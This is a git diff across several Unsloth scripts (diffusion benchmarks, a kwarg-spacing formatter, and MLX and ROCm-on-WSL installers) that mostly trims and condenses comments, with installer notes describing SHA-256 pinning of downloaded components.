while backend.load_progress().get("phase") != "ready":
prog = backend.load_progress()
if prog.get("phase") == "error":
@@ -65,7 +65,7 @@ def bench_pytorch(repo, gguf, resolutions, steps, seed, iters):
torch.cuda.synchronize()
return time.time() - t0
- gen() # warmup (compiles for `default`)
+ gen()
med = _median([gen() for _ in range(iters)])
rows.append(("pytorch", speed, res, med, None))
print(f" pytorch speed={speed:7s} {res}px compute={med:.3f}s", flush = True)
@@ -85,7 +85,7 @@ def bench_sdcpp(binary, gguf, vae, llm, resolutions, steps, seed, iters):
rows = []
out_dir = Path("outputs/compare_engines")
out_dir.mkdir(parents = True, exist_ok = True)
- for native in (None, "default"): # resident-no-fa vs resident+--diffusion-fa
+ for native in (None, "default"):
for res in resolutions:
params = SdCppGenParams(
prompt = PROMPT, width = res, height = res, steps = steps, cfg_scale = 1.0, seed = seed
diff --git a/scripts/compile_probe.py b/scripts/compile_probe.py
index b9d3aca9dd7..c006def594c 100644
--- a/scripts/compile_probe.py
+++ b/scripts/compile_probe.py
@@ -100,7 +100,6 @@ def main(argv = None) -> int:
pipe.to("cuda")
print("pipeline loaded on cuda", flush = True)
- # warm eager once (allocator / cudnn), then time it
_gen(
pipe,
args.prompt,
@@ -142,7 +141,6 @@ def main(argv = None) -> int:
print(f"RESULT: compile_repeated_blocks RAISED: {type(exc).__name__}: {exc}", flush = True)
return 1
- # first compiled gen is the untimed compile warmup
try:
t0 = time.time()
_gen(
diff --git a/scripts/convert_prequant_to_safetensors.py b/scripts/convert_prequant_to_safetensors.py
index addae135927..d1c84fd48b0 100644
--- a/scripts/convert_prequant_to_safetensors.py
+++ b/scripts/convert_prequant_to_safetensors.py
@@ -274,7 +274,7 @@ def convert(
pass
source["converter_torch"] = torch.__version__
- # Read exactly as Studio does (allowlisted weights_only); on torchao >= 0.18 v1 int8 comes back as Int8Tensor.
+ # Read as Studio does (allowlisted weights_only); on torchao >= 0.18 v1 int8 loads as Int8Tensor.
facts: list = []
restore = _record_v1_facts(facts)
try:
@@ -322,7 +322,6 @@ def convert(
)
int8_source = INT8_SOURCE_V1
layout = quant_layout_header(flat_sd, int8_source = int8_source)
- # save_prequant_safetensors writes torchao's flattened layout plus our two keys; add the layout and source.
from safetensors.torch import save_file
helpers = ps._torchao_helpers()
@@ -348,7 +347,7 @@ def convert(
header[ps.UNSLOTH_ROOT_KEYS_KEY] = json.dumps([str(k) for k in roots])
save_file(_untie(dict(flat)), dst, metadata = header)
back = ps.load_prequant_safetensors(dst, mmap = True)
- # Bit-identity against the .pt as THIS install reads it (v1 on <= 0.17 via the native v1 rebuild).
+ # Bit-identity against the .pt as this install reads it.
bad = compare_state_dicts(state_dict, back["state_dict"])
if bad:
raise AssertionError(f"{dst}: {len(bad)} tensors differ from {src}, e.g. {bad[:3]}")
diff --git a/scripts/diffusion_bench.py b/scripts/diffusion_bench.py
index 6d8a3f74986..4c0bf951302 100644
--- a/scripts/diffusion_bench.py
+++ b/scripts/diffusion_bench.py
@@ -26,12 +26,10 @@ from datetime import datetime, timezone
from pathlib import Path
from typing import Any, Optional
-# Backend root on sys.path so `core.inference.diffusion` imports as the server does (deferred into main() so --help never triggers torch).
+# Backend root on sys.path; the diffusion import is deferred into main() so --help never imports torch.
_BACKEND_ROOT = Path(__file__).resolve().parent.parent / "studio" / "backend"
if str(_BACKEND_ROOT) not in sys.path:
sys.path.insert(0, str(_BACKEND_ROOT))
-
-
# ── small helpers ──────────────────────────────────────────────────────────
@@ -150,7 +148,6 @@ def _psnr(ref_png: Path, cand_png: Path) -> float:
with Image.open(cand_png) as im_b:
b = np.asarray(im_b.convert("RGB"), dtype = np.float64)
if a.shape != b.shape:
- # Different geometry means the comparison is meaningless; report worst case.
return 0.0
mse = float(((a - b) ** 2).mean())
if mse == 0.0:
@@ -283,7 +280,6 @@ def _run(args: argparse.Namespace) -> dict[str, Any]:
},
}
- # The fixed-seed image is the accuracy anchor.
args._image_out.parent.mkdir(parents = True, exist_ok = True)
first_image.save(args._image_out)
print(f" saved image -> {args._image_out}", flush = True)
@@ -328,8 +324,6 @@ def _run(args: argparse.Namespace) -> dict[str, Any]:
# ── modes ──────────────────────────────────────────────────────────────────
-
-
def _write_baseline(args: argparse.Namespace) -> int:
baseline_path = Path(args.write_baseline).resolve()
ref_png = baseline_path.parent / "reference.png"
@@ -370,7 +364,7 @@ def _compare(args: argparse.Namespace) -> int:
baseline = json.loads(baseline_path.read_text())
out_dir = Path(args.out_dir).resolve()
args._image_out = out_dir / "compare.png"
- # --write-baseline takes any path, so a baseline can be sitting on a name this run writes. Refuse before the generation is paid for, not after.
+ # Refuse before the generation runs if the baseline path collides with an output.
for written in (out_dir / "compare.json", args._image_out):
if baseline_path == written:
print(
@@ -380,7 +374,6 @@ def _compare(args: argparse.Namespace) -> int:
)
return 2
- # Refuse a noisy cross-hardware / cross-dtype comparison unless forced.
base_env = baseline.get("env", {})
base_status = base_env.get("status") or {}
cur_gpu = _gpu_name()
@@ -401,7 +394,6 @@ def _compare(args: argparse.Namespace) -> int:
print(" refusing noisy comparison (pass --force-compare to override).", flush = True)
return 2
- # PSNR against the stored reference; reference_png is absolute, so fall back to reference.png beside the baseline.
ref_png = Path(baseline.get("accuracy", {}).get("reference_png", ""))
if not ref_png.is_file():
ref_png = baseline_path.parent / "reference.png"
diff --git a/scripts/diffusion_quality.py b/scripts/diffusion_quality.py
index bf7677f356c..b9227b0b8a7 100644
--- a/scripts/diffusion_quality.py
+++ b/scripts/diffusion_quality.py
@@ -31,8 +31,6 @@ DEFAULT_PROMPTS = [
"A lone lighthouse on a rocky cliff at sunset, dramatic clouds, crashing waves, highly detailed",
"A bustling night market street in the rain, neon signs reflected in puddles, cinematic",
]
-
-
# ── image metrics (pure numpy) ───────────────────────────────────────────────
@@ -99,8 +97,6 @@ def ssim(
# ── optional CLIP (perceptual) ───────────────────────────────────────────────
-
-
class _Clip:
"""Lazy CLIP scorer: prompt-image alignment + image-image cosine similarity."""
@@ -170,7 +166,7 @@ def _wait_for_load(backend: Any, timeout_s: int = 3600) -> None:
def _hf_file_size_mib(repo: str, filename: str) -> Optional[int]:
- # Local paths: stat directly, since the Hub lookup returns None and _recommend would drop them.
+ # Local paths: the Hub lookup returns None and _recommend would drop them.
try:
local = Path(repo).expanduser()
if local.is_dir():
@@ -384,7 +380,6 @@ def _print_table(rows: list[dict]) -> None:
def _recommend(args: argparse.Namespace, rows: list[dict]) -> None:
- # The smallest-on-disk non-reference quant that stays within the quality budget.
passing = [
r
for r in rows
@@ -409,8 +404,6 @@ def _recommend(args: argparse.Namespace, rows: list[dict]) -> None:
# ── self-test (CPU, no GPU/model) ─────────────────────────────────────────────
-
-
def _selftest() -> int:
import numpy as np
from PIL import Image
@@ -418,7 +411,7 @@ def _selftest() -> int:
rng = np.random.default_rng(0)
base = rng.integers(0, 256, (128, 128, 3), dtype = np.uint8)
a = Image.fromarray(base)
- b = Image.fromarray(base) # identical
+ b = Image.fromarray(base)
noisy = Image.fromarray(
np.clip(base.astype(int) + rng.integers(-40, 40, base.shape), 0, 255).astype(np.uint8)
)
@@ -431,7 +424,6 @@ def _selftest() -> int:
)
checks.append(("noisy SSIM < identical", ssim(a, noisy) < ssim(a, b)))
checks.append(("shape mismatch -> 0", psnr(a, Image.fromarray(base[:64])) == 0.0))
- # box mean of a constant field equals the constant
const = np.full((32, 32), 7.0)
checks.append(
("box mean of constant is constant", abs(_box_mean(const, 7).mean() - 7.0) < 1e-9)
diff --git a/scripts/enforce_kwargs_spacing.py b/scripts/enforce_kwargs_spacing.py
index 4cf42f6690a..a7e4f2885b0 100755
--- a/scripts/enforce_kwargs_spacing.py
+++ b/scripts/enforce_kwargs_spacing.py
@@ -39,12 +39,8 @@ from pathlib import Path
def _atomic_write_text(path: Path, data: str, encoding: str) -> None:
"""Write ``data`` to ``path`` atomically via same-dir tmp + fsync + os.replace, so a crash mid-write leaves either the old or the full new content, never a truncation."""
dirpath = str(path.parent) or "."
- # mkstemp creates the file 0600, and os.replace carries that mode over the
- # original's, so an executable script rewritten by this pass came back
- # without its bit. scripts/run_ruff_format.py is the hook's own entry
- # point and is itself processed here: once it carried kwarg spacing every
- # run stripped its executable bit, pre-commit.ci committed the flip, and the
- # next run failed with "not executable". Carry the mode across.
+ # mkstemp creates 0600 and os.replace keeps it, so carry the original mode across
+ # (else run_ruff_format.py loses its executable bit).
try:
mode = stat.S_IMODE(os.stat(path).st_mode)
except OSError:
@@ -865,7 +861,6 @@ def _reference_remove_redundant_passes(text: str) -> tuple[str, bool]:
lines[start] = segment if segment.strip() else ""
continue
- # Fall-back for unexpected multi-line 'pass'.
prefix = lines[start][: node.col_offset]
lines[start] = prefix if prefix.strip() else ""
for idx in range(start + 1, end):
@@ -894,7 +889,7 @@ def _reference_remove_blank_after_short_import(text: str) -> tuple[str, bool]:
lines = text.splitlines(keepends = True)
import_types = (ast.Import, ast.ImportFrom)
- drop: set[int] = set() # 1-based physical line numbers to delete
+ drop: set[int] = set()
def suites_of(node: ast.AST) -> list[list[ast.stmt]]:
if isinstance(node, ast.Module):
@@ -908,7 +903,7 @@ def _reference_remove_blank_after_short_import(text: str) -> tuple[str, bool]:
for node in ast.walk(tree):
for suite in suites_of(node):
- if len(suite) > 3: # only small blocks
+ if len(suite) > 3:
continue
i = 0
while i < len(suite):
@@ -918,7 +913,7 @@ def _reference_remove_blank_after_short_import(text: str) -> tuple[str, bool]:
j = i
while j + 1 < len(suite) and isinstance(suite[j + 1], import_types):
j += 1
- if j + 1 < len(suite): # an import block followed by another statement
+ if j + 1 < len(suite):
last_imp, nxt = suite[j], suite[j + 1]
gap = range((last_imp.end_lineno or last_imp.lineno) + 1, nxt.lineno)
nums = [n for n in gap if 1 <= n <= len(lines)]
@@ -935,7 +930,7 @@ def _reference_remove_blank_after_short_import(text: str) -> tuple[str, bool]:
_STRING_TRIVIA = (tokenize.NL, tokenize.NEWLINE, tokenize.COMMENT, tokenize.INDENT, tokenize.DEDENT)
-_DEF_MIN_PARAMS_FOR_MULTILINE = 3 # signatures with < this many params stay one line
+_DEF_MIN_PARAMS_FOR_MULTILINE = 3
def _def_spec(node: ast.FunctionDef | ast.AsyncFunctionDef) -> tuple[int, bool]:
@@ -997,7 +992,7 @@ def _reference_normalize_def_trailing_comma(text: str) -> tuple[str, bool]:
m -= 1
last = toks[m]
has_comma = last.type == tokenize.OP and last.string == ","
- empty = m == j # nothing between ( and )
+ empty = m == j
if force_multiline and not has_comma and not empty:
edits.append((last.end[0], last.end[1], "ins"))
elif not force_multiline and has_comma:
@@ -1017,7 +1012,7 @@ def _reference_normalize_def_trailing_comma(text: str) -> tuple[str, bool]:
if kind == "del":
if col < len(ln) and ln[col] == ",":
lines[row - 1] = ln[:col] + ln[col + 1 :]
- else: # ins
+ else:
lines[row - 1] = ln[:col] + "," + ln[col:]
out = "".join(lines)
try:
@@ -1042,12 +1037,12 @@ def _split_string_token(s: str) -> tuple[str, str, str] | None:
return None
-# PEP 701 split f-strings into FSTRING_START/MIDDLE/END in 3.12; before that one arrives as a single STRING token, which the branch below handles, so reading the names unguarded raised AttributeError and killed the whole post-pass, leaving every file ruff-reformatted without the kwarg spacing this script restores. `t.type` is an int, so None never matches.
+# FSTRING_* tokens exist only on 3.12+ (PEP 701); older versions emit one STRING token.
_FSTRING_START = getattr(tokenize, "FSTRING_START", None)
_FSTRING_END = getattr(tokenize, "FSTRING_END", None)
-# A "piece" is one string literal in source: a plain STRING token, or a whole f-string spanning FSTRING_START..FSTRING_END. (kind, (row, col0), (row, col1), raw)
+# A piece is a STRING token or a whole FSTRING_START..FSTRING_END run.
def _string_pieces(
toks: list[tokenize.TokenInfo], lines: list[str]
) -> list[tuple[str, tuple[int, int], tuple[int, int], str | None]]:
@@ -1055,7 +1050,7 @@ def _string_pieces(
n = len(toks)
def raw_of(start: tuple[int, int], end: tuple[int, int]) -> str | None:
- if start[0] != end[0]: # only single-physical-line pieces are mergeable
+ if start[0] != end[0]:
return None
return lines[start[0] - 1][start[1] : end[1]]
@@ -1068,7 +1063,7 @@ def _string_pieces(
elif t.type == _FSTRING_START:
depth = 0
j = i
- while j < n: # walk to the matching FSTRING_END (f-strings can nest)
+ while j < n:
if toks[j].type == _FSTRING_START:
depth += 1
elif toks[j].type == _FSTRING_END:
@@ -1094,22 +1089,18 @@ def _merge_string_run(pieces: list[tuple[str, str]]) -> str | None:
return None
prefix, quote, body = pqb
if "b" in prefix.lower():
- return None # bytes: leave side-by-side
+ return None
parsed.append((kind, prefix, quote, body))
if len({p[2] for p in parsed}) != 1:
- return None # mixed quote style: not a safe textual merge
+ return None
quote = parsed[0][2]
if not any(p[0] == "f" for p in parsed):
- # No f-string: merge plain/raw/unicode sharing one prefix by concatenation.
if len({p[1].lower() for p in parsed}) != 1:
return None
return f"{parsed[0][1]}{quote}{''.join(p[3] for p in parsed)}{quote}"
- # f-string fold only when a plain string is glued onto an f-string; a run of
- # only f-strings is left side-by-side (folding long ones would force ruff to
- # re-wrap the surrounding statement).
+ # Fold only a plain string glued onto an f-string; long f-string runs would force ruff to re-wrap.
if all(p[0] == "f" for p in parsed):
return None
- # raw mixed with f is too subtle (backslash + brace escaping) -> skip.
if any("r" in p[1].lower() for p in parsed):
return None
body = "".join(
@@ -1151,7 +1142,7 @@ def _fold_collapses(
ln = ln[:c0] + merged + ln[c1:]
seg.append(ln)
indent = len(seg[0]) - len(seg[0].lstrip())
- # Conservative over-estimate: join continuation lines with a single space (ruff joins bracketed wraps with none), so borderline cases skip the fold.
+ # Over-estimate by joining with a space so borderline cases skip the fold.
joined = " ".join(s.strip() for s in seg)
return indent + len(joined) <= _LINE_LENGTH
@@ -1191,7 +1182,6 @@ def _reference_merge_adjacent_string_literals(text: str) -> tuple[str, bool]:
if merged is None:
continue
row, c0, c1 = run[0][1][0], run[0][1][1], run[-1][2][1]
- # An f-string fold must not push its statement onto extra lines; a plain concatenation always collapses cleanly so it skips this check.
if any(kind == "f" for kind, _s, _e, _r in run) and not _fold_collapses(
tree, lines, row, c0, c1, merged
):
@@ -1231,19 +1221,18 @@ def _reference_collapse_short_asserts(text: str) -> tuple[str, bool]:
comment_rows = {t.start[0] for t in toks if t.type == tokenize.COMMENT}
- targets = [] # (lo, hi) spans whose one-line form fits and have no comment
+ targets = []
for lo, hi in multiline:
if any(lo <= r <= hi for r in comment_rows):
- continue # a comment would keep ruff multi-line -> never collapses
+ continue
seg = [lines[k].rstrip("\n") for k in range(lo - 1, hi)]
indent = len(seg[0]) - len(seg[0].lstrip())
- # Over-estimate (join with a space, keep the comma) so a "fits" verdict is always at least as long as ruff's real one-line output, and the two never fight.
+ # Over-estimate so a fits verdict never fights ruff's real one-line output.
if indent + len(" ".join(s.strip() for s in seg)) <= _LINE_LENGTH:
targets.append((lo, hi))
if not targets:
return text, False
- # Trailing commas (a ',' whose next significant token is a closer), grouped by the target assert they belong to.
sig = [t for t in toks if t.type not in _STRING_TRIVIA]
by_target: dict[tuple[int, int], list[tuple[int, int]]] = defaultdict(list)
for i, t in enumerate(sig):
@@ -1260,7 +1249,7 @@ def _reference_collapse_short_asserts(text: str) -> tuple[str, bool]:
base_dump = ast.dump(tree)
working = lines[:]
changed = False
- for positions in by_target.values(): # apply per assert; skip any that break AST
+ for positions in by_target.values():
trial = working[:]
for row, col in sorted(positions, reverse = True):
ln = trial[row - 1]
@@ -1294,7 +1283,6 @@ def main(argv: list[str]) -> int:
for entry in args.files:
path = Path(entry)
- # Skip modifying this script to avoid self-edit loops.
if path.resolve() == self_path:
continue
if not path.exists() or path.is_dir():
diff --git a/scripts/fbcache_flux_probe.py b/scripts/fbcache_flux_probe.py
index 28259888d0c..bb5c444465a 100644
--- a/scripts/fbcache_flux_probe.py
+++ b/scripts/fbcache_flux_probe.py
@@ -108,7 +108,7 @@ def run(
except Exception as exc: # noqa: BLE001
print(f" [{tag}] compile {type(exc).__name__}: {str(exc)[:80]}", flush = True)
try:
- _gen(pipe, steps, seed, res, guidance) # warmup / compile
+ _gen(pipe, steps, seed, res, guidance)
except Exception as exc: # noqa: BLE001
import traceback
diff --git a/scripts/image_speedmem_bench.py b/scripts/image_speedmem_bench.py
index bf30d0c80ed..026e005cbb8 100644
--- a/scripts/image_speedmem_bench.py
+++ b/scripts/image_speedmem_bench.py
@@ -32,7 +32,6 @@ for _p in (str(_BACKEND_ROOT), str(_REPO_ROOT / "scripts")):
if _p not in sys.path:
sys.path.insert(0, _p)
-# Fixed prompt set so the LPIPS mean is not hostage to a single composition.
PROMPTS = [
"A cozy reading nook by a rain-streaked window, warm lamplight, a cat asleep on a stack of books",
"A lone lighthouse on a rocky cliff at sunset, dramatic clouds, crashing waves, highly detailed",
@@ -48,19 +47,12 @@ _FAMILIES: dict[str, dict[str, Any]] = {
}
_CONFIGS: dict[str, dict[str, Any]] = {
- # bit-exact reference: everything off / native / dense
"reference": dict(te = "none", speed = "off", attn = "native", cache = "off"),
- # non-compile floor: eager patches + attention auto-upgrade
"eager": dict(te = "none", speed = "eager", attn = "auto", cache = "off"),
- # default dense tier (regional compile), uncached
"compile": dict(te = "none", speed = "default", attn = "auto", cache = "off"),
- # max tier (max-autotune regional compile + TF32 + fused QKV), uncached
"speedmax": dict(te = "none", speed = "max", attn = "auto", cache = "off"),
- # default tier + explicit FBCache (auto engages it only on the max tier)
"fbcache": dict(te = "none", speed = "default", attn = "auto", cache = "fbcache"),
- # FBCache without compile: isolates the cache's drift from the compile floor
"fbcache_eager": dict(te = "none", speed = "eager", attn = "auto", cache = "fbcache"),
- # TE quant isolation on the bit-exact stack: the conditioning perturbation ALONE
"te_fp8dyn": dict(te = "fp8_dynamic", speed = "off", attn = "native", cache = "off"),
"te_fp8": dict(te = "fp8", speed = "off", attn = "native", cache = "off"),
}
@@ -178,7 +170,6 @@ def _apply_levers(
engaged: dict[str, Any] = {"te": None, "attn": None, "cache": None, "speed_optims": {}}
if cfg["te"] != "none":
- # Returns (mode, reason, status) now; this bench only reports the mode that engaged.
engaged["te"] = quantize_text_encoders(
pipe, tgt, mode = cfg["te"], family = fam_obj.name, logger = logger
).mode
@@ -363,7 +354,6 @@ def main() -> None:
pipe.to("cuda")
weights_gb = _alloc_gb()
- # Warmup pays the one-time compile / cuDNN autotune outside the timed runs.
wt0 = time.perf_counter()
_generate(
pipe,
diff --git a/scripts/install_gemma4_mlx.sh b/scripts/install_gemma4_mlx.sh
index 55da5d9ef9f..b438c0ddbe6 100755
--- a/scripts/install_gemma4_mlx.sh
+++ b/scripts/install_gemma4_mlx.sh
@@ -3,16 +3,8 @@
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
set -euo pipefail
-# Gemma 4 MLX — One-command setup + inference
-# Supply-chain hardening: the uv installer payload is pinned by
-# SHA-256. Rotate by running:
-# curl -sSLf https://astral.sh/uv/install.sh | shasum -a 256
-# and updating _UV_INSTALLER_SHA256 below.
-# Usage:
-# bash install_gemma4_mlx.sh [--venv-dir DIR]
-# This script:
-# 1. Creates a Python virtual environment
-# 2. Installs uv, mlx-vlm, transformers
+# Gemma 4 MLX one-command setup. The uv installer payload is pinned by SHA-256;
+# rotate with: curl -sSLf https://astral.sh/uv/install.sh | shasum -a 256
# ── Output style (inspired by unsloth/install.sh) ─────────────
RULE=""
@@ -55,7 +47,6 @@ for arg in "$@"; do
esac
done
-# Default venv location
if [ -z "$VENV_DIR" ]; then
VENV_DIR="$HOME/.unsloth/unsloth_gemma4_mlx"
fi
diff --git a/scripts/install_qwen3_6_mlx.sh b/scripts/install_qwen3_6_mlx.sh
index 421bf139d9b..dc6edfffd13 100644
--- a/scripts/install_qwen3_6_mlx.sh
+++ b/scripts/install_qwen3_6_mlx.sh
@@ -3,16 +3,7 @@
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
set -euo pipefail
-# Qwen3.6 MLX — One-command setup + inference
-# Supply-chain hardening:
-# - The uv installer is verified against a hardcoded SHA-256 before
-# execution. Rotate the digest only after verifying the new payload.
-# Usage:
-# bash install_qwen3_6_mlx.sh [--venv-dir DIR]
-# This script:
-# 1. Creates a Python virtual environment
-# 2. Installs uv, mlx-vlm, transformers, torch, torchvision
-
+# Uv installer pinned by SHA-256; rotate the digest only after verifying the new payload.
# ── Output style (inspired by unsloth/install.sh) ─────────────
RULE=""
_rule_i=0
@@ -54,7 +45,6 @@ for arg in "$@"; do
esac
done
-# Default venv location
if [ -z "$VENV_DIR" ]; then
VENV_DIR="$HOME/.unsloth/unsloth_qwen3_6_mlx"
fi
@@ -105,10 +95,7 @@ else
fi
# ── Install uv ───────────────────────────────────────────────
-# Pin the uv installer payload by SHA-256. Rotate by running:
-# curl -sSLf https://astral.sh/uv/install.sh | shasum -a 256
-# and updating the constant below. We fetch into a temp file, verify
-# the digest, and only then execute. Mismatch aborts.
+# Fetch to a temp file, verify the digest, and only then execute.
# ── Install uv ───────────────────────────────────────────────
_UV_INSTALLER_SHA256="48cd5aca5d5671a3b3d5f61538cc8622e4434af63319115159990d8b0dd02416"
@@ -136,13 +123,10 @@ _VENV_PY="$VENV_DIR/bin/python"
# ── Install dependencies ──────────────────────────────────────
step "install" "installing current mlx-vlm..."
-# Reinstall even when the existing version satisfies the request. Older copies of
-# this installer modified mlx-vlm in place, so version metadata alone is not proof
-# that a reused environment still contains the resolver-selected distribution.
+# Reinstall even if satisfied: older copies of this installer modified mlx-vlm in place.
uv pip install --python "$_VENV_PY" -q \
--upgrade-package mlx-vlm --reinstall-package mlx-vlm mlx-vlm
-# The old installer also added a legacy module that current mlx-vlm wheels do
-# not own. Remove it only when it is absent from the selected distribution.
+# Remove the legacy module the old installer added, only if the distribution does not own it.
"$_VENV_PY" - <<'PY'
from importlib.metadata import distribution
@@ -177,8 +161,6 @@ else
fail "Installation verification failed. Please ensure Python >=3.10 and try again."
fi
-# Verify the active Qwen runtime rather than overwriting the package selected
-# by the resolver with an older copy of its internal modules.
if "$_VENV_PY" - <<'PY'
from mlx_vlm.generate import stream_generate
from mlx_vlm.models.base import InputEmbeddingsFeatures
diff --git a/scripts/install_rocm_wsl_strixhalo.sh b/scripts/install_rocm_wsl_strixhalo.sh
index 4f4fea2d9c5..0bddf812879 100644
--- a/scripts/install_rocm_wsl_strixhalo.sh
+++ b/scripts/install_rocm_wsl_strixhalo.sh
@@ -2,63 +2,32 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# ──────────────────────────────────────────────────────────────────────────────
-# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX
-# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT).
# ──────────────────────────────────────────────────────────────────────────────
-# install.sh routes the detected arch to the right ROCm wheels once a runtime exists;
-# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg).
-# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by
-# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the
-# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent.
-# Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with
-# production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once
-# installed + rebooted, /dev/dxg is exposed to WSL and this script builds the rest.
-# HOW ROCDXG WORKS (and why older /usr/lib/wsl/lib notes are wrong): librocdxg.so
-# is AMD's user-mode bridge between the Linux HSA runtime and the Windows driver
-# over /dev/dxg. The STANDARD hsa-rocr runtime (NOT the gone "roc4wsl" package)
-# loads it when HSA_ENABLE_DXG_DETECTION=1. No hsa/rocm libs need injecting into
-# /usr/lib/wsl/lib (it holds only d3d12/dxcore), yet rocminfo enumerates gfx1151
-# fine -- so we gate on /dev/dxg, not on WSL lib injection.
-# KNOWN CAVEAT (ROCm/ROCm#6022): librocdxg can cap usable ROCm VRAM at the WSL
-# VM's RAM (.wslconfig [wsl2] memory=) on some BIOS UMA layouts, and amd-smi
-# doesn't work in WSL. On OOM below capacity, raise memory= (then wsl --shutdown)
-# and watch GPU use from Windows. Large-UMA BIOS exposes the full pool regardless.
-# Verified on Ryzen AI Max+ PRO 395 / Radeon 8060S (gfx1151) with ROCm 7.2.1 +
-# Ubuntu 24.04 + WSL2 + Adrenalin. These pins MOVE; bump + re-verify on newer ROCm.
+# Enable ROCm-on-WSL for AMD GPUs on Ubuntu 24.04 WSL2: installs ROCm userspace and builds
+# librocdxg (the /dev/dxg bridge, loaded with HSA_ENABLE_DXG_DETECTION=1). Invoked by install.sh.
+# Needs Adrenalin 26.2.2+ on Windows. librocdxg may cap VRAM at the WSL VM RAM (ROCm/ROCm#6022).
# ──────────────────────────────────────────────────────────────────────────────
set -euo pipefail
-# What this helper guarantees about the third-party source it builds as root. install.sh
-# refuses to run a copy that does not declare the contract it requires, so a helper fetched
-# from an older pin can never quietly drop one of these. Bump BOTH on any change here.
-# 1: builds LIBROCDXG_REF, no verification.
-# 2: verifies the clone against LIBROCDXG_SHA before building, and treats a failed
-# checkout with no SHA to verify against as fatal rather than building default HEAD.
+# install.sh refuses a helper that does not declare the contract it requires; bump both on change.
+# 2 = verify the clone against LIBROCDXG_SHA, and fail a checkout that has no SHA to check.
UNSLOTH_ROCM_WSL_HELPER_CONTRACT=2
# ── Tunables (override via env) ──────────────────────────────────────────────
ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}" # ROCm release to install
-# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200).
-# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch.
+# Empty = auto-detect from rocminfo; only verification and the smoke test need the arch.
GFX="${UNSLOTH_WSL_GFX:-}"
-# ROCm/librocdxg source to build. This is compiled and `sudo make install`ed, so it is
-# pinned to a commit, not to a branch (rewritten by definition) or a tag (movable): the
-# ref IS the commit and the clone is verified against it below. This is v1.2.2, the
-# current release, which is also what develop points at, so the build is unchanged.
+# Built and installed as root, so pinned to a commit (v1.2.2) and verified after clone.
LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-4955d12888a3ec57057f1cf8660c2485e415e74c}"
LIBROCDXG_SHA="${UNSLOTH_LIBROCDXG_SHA:-4955d12888a3ec57057f1cf8660c2485e415e74c}"
-# An explicit UNSLOTH_LIBROCDXG_REF with no SHA is a deliberate operator choice (e.g.
-# testing a fix branch) -- honour it and skip the pin check rather than hard-failing.
+# An explicit ref with no SHA is a deliberate operator choice: skip the pin check.
if [ -n "${UNSLOTH_LIBROCDXG_REF:-}" ] && [ -z "${UNSLOTH_LIBROCDXG_SHA:-}" ]; then
LIBROCDXG_SHA=""
fi
-# AMD's wheel index for the (optional) smoke test; resolved after arch detection.
TORCH_INDEX=""
-# Optional torch smoke test (throwaway venv). OFF by default: install.sh installs
-# torch itself into the real venv right after, so a duplicate download is wasteful.
+# Off by default: install.sh installs torch into the real venv right after.
SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}"
-# REQUIRED constraint -- without it pip prefers PyPI's newer CUDA torch over the
-# gfx1151 ROCm wheel. 2.11 carries AMD's real gfx1151 fix (matches install.sh).
+# Required: without it pip prefers PyPI's newer CUDA torch over the ROCm wheel.
TORCH_CONSTRAINT="${UNSLOTH_WSL_TORCH_CONSTRAINT:-torch>=2.11.0,<2.12.0}"
ROCM_DIR="" # resolved after install
@@ -66,7 +35,6 @@ say() { printf '\n\033[1;36m== %s\033[0m\n' "$*"; }
note() { printf ' %s\n' "$*"; }
die() { printf '\n\033[1;31m[BLOCKED] %s\033[0m\n' "$*" >&2; exit 1; }
-# sudo only if not already root (WSL distros often run as root)
SUDO=""
if [ "$(id -u)" -ne 0 ]; then
command -v sudo >/dev/null 2>&1 || die "Need root or sudo to install ROCm."
@@ -74,12 +42,10 @@ if [ "$(id -u)" -ne 0 ]; then
fi
# ── Windows 11 SDK (headers for the librocdxg build) ─────────────────────────
-# librocdxg's cmake build needs the Windows SDK 'shared' headers, which live on
-# the Windows HOST under C:\Program Files (x86)\Windows Kits\10\Include\<ver>\.
+# librocdxg's build needs the Windows SDK 'shared' headers from the Windows host.
_WIN_SDK_INC_BASE="/mnt/c/Program Files (x86)/Windows Kits/10/Include"
-# Print the newest installed SDK include dir with 'shared' headers, or nothing.
-# find + read loop (not `for ... in $(ls)`) since the base path has a space.
+# find + read loop because the base path contains a space.
_find_win_sdk() {
[ -d "$_WIN_SDK_INC_BASE" ] || return 0
while IFS= read -r _inc; do
@@ -89,15 +55,12 @@ _find_win_sdk() {
return 0
}
-# Best-effort: install the Windows 11 SDK on the Windows HOST via winget so the
-# build has its headers with no manual step. Elevates -> ONE UAC prompt; headers
-# appear under /mnt/c immediately (no reboot). Never fatal -- failure falls
-# through to a manual-install message. Opt out: UNSLOTH_SKIP_WIN_SDK_INSTALL=1.
+# Best effort: install the Windows 11 SDK on the host via winget (one UAC prompt).
+# Opt out with UNSLOTH_SKIP_WIN_SDK_INSTALL=1.
_install_windows_sdk_via_winget() {
[ "${UNSLOTH_SKIP_WIN_SDK_INSTALL:-0}" = "1" ] && { note "Skipping Windows SDK auto-install (UNSLOTH_SKIP_WIN_SDK_INSTALL=1)."; return 0; }
command -v powershell.exe >/dev/null 2>&1 || return 0
- # `command -v` succeeds even with WSL interop OFF (.exe on PATH but fails
- # with "Exec format error"); verify it actually executes.
+ # command -v succeeds even with WSL interop off, so check that it actually executes.
powershell.exe -NoProfile -Command "exit 0" >/dev/null 2>&1 || return 0
